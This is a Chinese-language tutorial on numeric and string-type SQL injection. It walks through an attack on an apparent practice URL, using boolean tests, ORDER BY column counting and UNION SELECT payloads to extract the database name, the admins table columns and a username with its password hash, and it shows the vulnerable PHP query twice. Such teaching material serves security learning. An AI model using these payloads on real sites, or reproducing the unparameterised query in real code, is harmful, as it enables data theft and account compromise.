网站SQL注入之数字型注入和字符型注入

2023-03-12,,

什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
1,是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
2,这些参数传递给后台的SQL数据库服务器加以解析并执行

SQL注入分类-- 按数据类型分类,
1,分为 整形注入 整型注入 (不需要闭合,大多数不需要注释符号)
2,字符串类型注入 (需要闭合,或者需要注释)

-- 按注入语法分类,
1,UNION query SQL injection(可联合查询注入)
2,Error-based SQL injection(报错型注入)
3,Boolean-based blind SQL injection(布尔型注入)
4,Time-based blind SQL injection(基于时间延迟注入)
5,Stacked queries SQL injection(可多语句查询注入)

http://www.wyzdjg.top/payload/sql/number.php?id=1 and 1=1 页面正常
http://www.wyzdjg.top/payload/sql/number.php?id=1 and 1=2 页面不正常
说明后台sql语句再接受id这个参数的时候,并没有给参数添加引号,所以 1=1(真)和 1=2(假)生效了。如下

$id = $_GET['id'];
$sql = "select * from admins where id = $id";
#所以加上 and 1=1 语句就变为:
select * from admins where id = 1 and 1=1 #为真有数据
select * from admins where id = 1 and 1=2 #为假查不到数据
$id = $_GET['id'];
$sql = "select * from admins where id = $id";
#所以加上 and 1=1 语句就变为:
select * from admins where id = 1 and 1=1 #为真有数据
select * from admins where id = 1 and 1=2 #为假查不到数据

http://www.wyzdjg.top/payload/sql/number.php?id=1 order by 8 #正常
http://www.wyzdjg.top/payload/sql/number.php?id=1 order by 9 #不正常,则显示位为8
联合查询:
1 http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8
2 http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,database(),3,4,5,6,7,8 #得到库名nanhack

爆表 admins 中的所有列:

1 http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admins'
2 # 得到 列名 id,username,userpwd,email,sex,money,role,vip

获取 admins 中的一条数据:

http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,concat(username,0x23,userpwd),3,4,5,6,7,8 from admins limit 0,1
# 得到数据 必火网络安全#68d7e8e91c53395e3d29a938c1ab5d18

  

网站SQL注入之数字型注入和字符型注入的相关教程结束。

《网站SQL注入之数字型注入和字符型注入.doc》

下载本文的Word格式文档,以方便收藏与打印。